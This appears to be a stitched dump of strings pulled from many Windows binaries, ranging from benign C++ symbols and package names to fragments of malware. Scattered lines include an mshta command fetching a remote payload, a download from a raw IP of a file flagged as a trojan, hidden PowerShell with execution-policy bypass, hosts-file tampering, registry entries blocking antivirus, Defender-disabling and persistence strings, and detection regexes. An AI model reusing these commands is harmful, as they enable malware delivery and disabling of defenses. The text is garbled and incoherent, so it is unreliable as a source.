Microsoft.Windows.EnterpriseManagement.Enrollment
Microsoft.Windows.EMPS.Enrollment
.P6AXPEAUITargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@V?$shared_ptr@VCorrelationVectorWrapper@Background@ContentDeliveryManager@@@std@@@Z
.P6AJPEAUITargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@V?$shared_ptr@VCorrelationVectorWrapper@Background@ContentDeliveryManager@@@std@@@Z
r@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producers_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@V?$tuple@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winhbin
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WINDOWS;C:\WIN
windir=C:\WINDOWS
powershell.exe-windowstylehidden"get-service;$
Microsoft.Windows.Shell.Desktop.LogonFramework
Microsoft.Windows.Shell.OpenWith
Microsoft.Windows.ShellCommon.StartLayout
Microsoft.Windows.AppxDeploymentFallback
|com.microsoft.windows.app.personacardmanagerP
msEdgeWindowsEnergySaverAvailable
msEdgeWindowsEnergySaverAvailable
msEdgeWebAuthnEnclaveAuthenticatorWindowsPlugin
ls@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.CBS_cw5n1h2txyewy%5Cresources.pri
@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/Cortana.UI/Resources/TileDisplayName}
@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/Cortana.UI/Resources/Description}
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@$0A@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@$0A@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@
Microsoft.Windows.Input.Windows_UI_Core_Textinput
WindowScrollTop
WindowScrollLeftQ
c:\windows\system32\cmd.exe /c ping 127.0.0.1 -n 
c:\windows\system32\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://bit.ly/3qgzciv
F5Hq1abd2938-b5ab-4607-97ae-8308b26ac7f6Windows Biometrics Client API0.9.8.6371ZametkeR.ConfigurationsVwKLGpT.Consumers
C:\windowss64\computer.exe47.93.60.63:8000/exploror.exeTrojan:Win64/Aurora!MTB
W?$function@$$A6A?AUIndexPath@Controls@Xaml@UI@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$alloca 
\windowsdefender\real-timeprotec
I="mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/131"+".0
Wc:\windows\system32
\windows\
S\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-DebuggerTransport-Network-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Kernel-Package-DebuggerTransport-Network-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
utionpolicybypass-windowstylehidden
System.Windows.Forms
System.Windows.Forms.Design
ShowWindowStyles
WindowStyles
UpdateLayeredWindowsFlags
Oc:\windows\system32\windowspowershell\v1.0\
windows\ld
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
%windir%\system32\wdmaud.drv
set golos=91.193.194.145attrib -h -r %windir%%drapka%hos%lewro%set drapka=\system32\drivers\etc\echo 127.0.0.1 local
,\Windows\CurrentVersion\Uninstall\360http://www.pp1234.net/
??$handleMouseEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
??$handleMouseEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
??$handleMouseEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
??$handleSafeAreaMarginsChanged@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleSafeAreaMarginsChanged@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleSafeAreaMarginsChanged@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleThemeChange@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleThemeChange@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleThemeChange@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleTouchCancelEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KPEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchCancelEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchCancelEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KPEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchCancelEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchCancelEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KPEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchCancelEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KPEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KPEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KPEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleWindowActivated@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@W4FocusReason@Qt@@@Z
??$handleWindowActivated@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@W4FocusReason@Qt@@@Z
??$handleWindowActivated@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@W4FocusRea
regaddhkey_current_user\software\microsoft\windows\currentversion\policies\explorer\disallowrun/v5/dmsnmsgr.exeregaddhkey_current_user\software\microsoft\windows\currentversion\policies\explorer\disallowrun/v6/davast.exe
echooffsetlocalset"fugues=c:\windows\temp\
data\updatechanges\windowsm
ir%\system32
c:\windows\system32\
 .WINDOWS 
::addwindowsdefenderexclusionsp
C:\WINDOWS\SYSTEM32\
&\Microsoft\Windows\CurrentVersion\RunOnce /F
Microsoft.Windows.Security.MitigationPolicy
Microsoft.Windows.Security.IsolationApi
    name="Microsoft.Windows.Shell.shlwapi"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
KERNEL32.GetSystemWindowsDirectoryA
KERNEL32.GetSystemWindowsDirectoryW
KERNEL32.GetWindowsDirectoryW
api-ms-win-core-windowserrorreporting-l1-1-0.dll
MICROSOFT.WINDOWS.SPARSEGENERATION.AUMID
System.Windows.Forms
Win32Windows
get_Windows
SafeSubWindows
SafeTopLevelWindows
AllWindows
NoWindows
LeftWindows
System.Runtime.InteropServices.WindowsRuntime.IBindableVectorView.GetAt
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.SetAt
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.InsertAt
WindowsBase
get_WindowState
set_WindowState
_savedWindowState
FormWindowState
get_PreviousWindowState
set_PreviousWindowState
trying to stop windows defendert
winlogon process not foundw
SetProcessWindowStation
GetProcessWindowStation
CloseWindowStation
OpenWindowStationW
Windows Media Foundation\ByteStreamHandlers\audio/mpeg
Windows Defender Exploit Guard detected remoting application (wmiprvse and psexesvc) creating child process
%windir%\system32\wbem\mofcomp.exe
%windir%\system32\wuauclt.exe
%windir%\system32\gpupdate.exe
%windir%\system32\spool\drivers
%windir%\system32\fsiso.exe
%windir%\system32\Dism\DismHost.exe
.:\\windows\\ccmcache\\.+
.:\\windows\\ccm\\systemtemp\\.+
.:\\windows\\ccm\\sensorframework\\.+
.:\\windows\\ccm\\signedscripts\\.+
cmd[^\s]*\s+/c\s+\"chcp\s+65001\s+&\s+.:\\windows\\system32\\inetsrv\\appcmd\.exe\s+list[^>]+>\s+\"\\\\127\.0\.0\.1\\.\$\\temp\\[^\"]+\"\s+2>&1\"
\s+(.:\\windows\\temp\\)?nessus_[^\.\s]+\.txt[\"\'\;\s]*$
\"?.:\\windows\\system32\\sc\.exe\"?\s+start\s+tenable_mw_scan\s+output=nessus_[^\s\.]+\.txt
\"?.:\\windows\\system32\\cmd\.exe\"?\s+/c\s+echo\s+nessus_cmd_[^\s=]+=_start\s+>>\s+\"?.:\\windows\\temp\\nessus_
\"?[a-z]:\\windows\\system32\\msiexec\.exe\"?\s+\/x\s+\{[0-9a-f]+\-[0-9a-f]+\-[0-9a-f]+\-[0-9a-f]+\-[0-9a-f]+\
"_MicrosoftWindowsBitLockerDriverCountersProvider_ 
System.Windows.Forms.Layout
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.?AVBond_WindowsUpdateStatus@@
Microsoft.Windows.SrumSvc
!Winlogonhook	
c:\windows\
System.Runtime.InteropServices.WindowsRuntime.IBindableVectorView.get_Size
RawData_MicrosoftWindowsW32
Windows
e Windows {1}6
ows@@@Foundation@Windows@@
.?AU__I?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@23@PE$AAVDownloadOperation@BackgroundTransfer@Networking@3@PublicNonVirtuals@details@Concurrency@@
.?AU?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@23@PE$AAVDownloadOperation@BackgroundTransfer@Networking@3@@details@Concurrency@@
.?AU__I?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@PublicNonVirtuals@details@Concurrency@@
.?AU?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@details@Concurrency@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAUIStorageItem@Storage@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$_PPLTaskHandle@EU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_91d57ca5e12a436b563e6b78a25cada3>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_ContinuationTaskHandleBase@details@3@@details@Concurrency@@
.?AU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_91d57ca5e12a436b563e6b78a25cada3>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@
.?AU?$_PPLTaskHandle@EU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_dbb7f2c90e2800152f12da50c798681f>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_ContinuationTaskHandleBase@details@3@@details@Concurrency@@
.?AU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_dbb7f2c90e2800152f12da50c798681f>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurre
32_windowspower
GetWindowsDirectoryW
api-ms-win-core-windowserrorreporting-l1-1-0.dll
efunctionisinwindowssandbox
)windowsfirewallwarning:\nyourcomputerhasadware/spy
windir=C:\WINDOWS
	\system32\cmd.exe
C:\WINDOWS\globalization\icu
:authorityaps.prod.windows.com
Microsoft-Windows-Shell-CrossDeviceResume
ndows\System32\csrss.exe
ndows\System32\ctfmon.exe
ndows\System32\svchost.exe
ndows\System32\svchost.exe
COMPUTERNAME=WINDOWS1
windows message 
c:\windows\system32\cmd
software\microsoft\windows defender\featuress
software\policies\microsoft\windows defender security center\notificationss
software\policies\microsoft\windows\windowsupdates
	windows.appExtension
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.6Microsoft CorporationMicrosoft Windows App Runtime 1.6 (6000.519.329.0 x64 )WindowsAppRuntime.png
G.expandenvironmentstrings("%windir%\syswow64\windowspowershell\v1.0\powershell.exe")
elif'windows'in
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
